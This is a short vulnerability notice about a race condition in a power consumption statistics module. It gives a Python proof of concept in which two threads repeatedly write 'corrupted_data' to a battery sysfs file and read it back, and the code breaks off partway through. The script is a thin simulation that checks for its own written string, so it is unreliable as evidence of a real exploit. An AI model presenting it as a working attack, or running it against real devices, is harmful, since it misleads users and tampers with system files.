Race condition vulnerability in the power consumption statistics module.
Impact: Successful exploitation of this vulnerability may affect availability.
The following code is for security research and authorized testing only.
python
import threading
import time
# Simulating the vulnerable power statistics file path
VULN_FILE_PATH = "/sys/class/power_supply/battery/stat"
def malicious_write():
"""Simulate a thread writing to the stats module"""
try:
while True:
with open(VULN_FILE_PATH, 'r+') as f:
# Simulate a race condition by writing without locking
data = f.read()
# Modify data to trigger inconsistency
f.write("corrupted_data")
time.sleep(0.001)
except Exception as e:
print(f"Write error: {e}")
def malicious_read():
"""Simulate a thread reading from the stats module"""
try:
while True:
with open(VULN_FILE_PATH, 'r') as f:
# Reading while the other thread writes
data = f.read()
if "corrupted" in data:
print("[+] Race condition triggered, data corrupted!")
break
time.sleep(0.001)
except Exception as e:
